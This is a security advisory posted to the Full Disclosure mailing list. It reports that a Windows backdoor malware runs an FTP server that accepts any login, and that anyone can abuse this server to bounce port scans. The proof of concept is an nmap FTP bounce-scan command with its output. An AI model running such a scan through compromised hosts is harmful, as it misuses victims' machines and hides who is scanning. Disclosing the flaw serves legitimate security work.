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Date: Mon, 30 Aug 2021 22:05:18 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Delf.wr / Port Bounce Scan

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/fc74e80ff2f49380972904d77df1c0f1_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.wr
Vulnerability: Port Bounce Scan
Description: The CrazyInvadres Group bY SMURF_NS malware runs an FTP
server on TCP port 64554 and accepts any username/password credentials.
Third-party attackers who successfully logon can abuse the backdoor FTP
server as a man-in-the-middle machine allowing PORT Command bounce scan
attacks using Nmap. This vulnerability allows remote attackers to abuse
your system and discreetly conduct network port scanning. Victims will then
think these scans are originating from the infected system running the
afflicted malware FTP Server and not you.
Type: PE32
MD5: fc74e80ff2f49380972904d77df1c0f1
Vuln ID: MVID-2021-0327
Disclosure: 08/30/2021

Exploit/PoC:
nmap -n -Pn -b mal:vuln@....168.18.129:64554 -p21,22,80 192.168.18.237
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-28 22:30 Pacific
Daylight Time
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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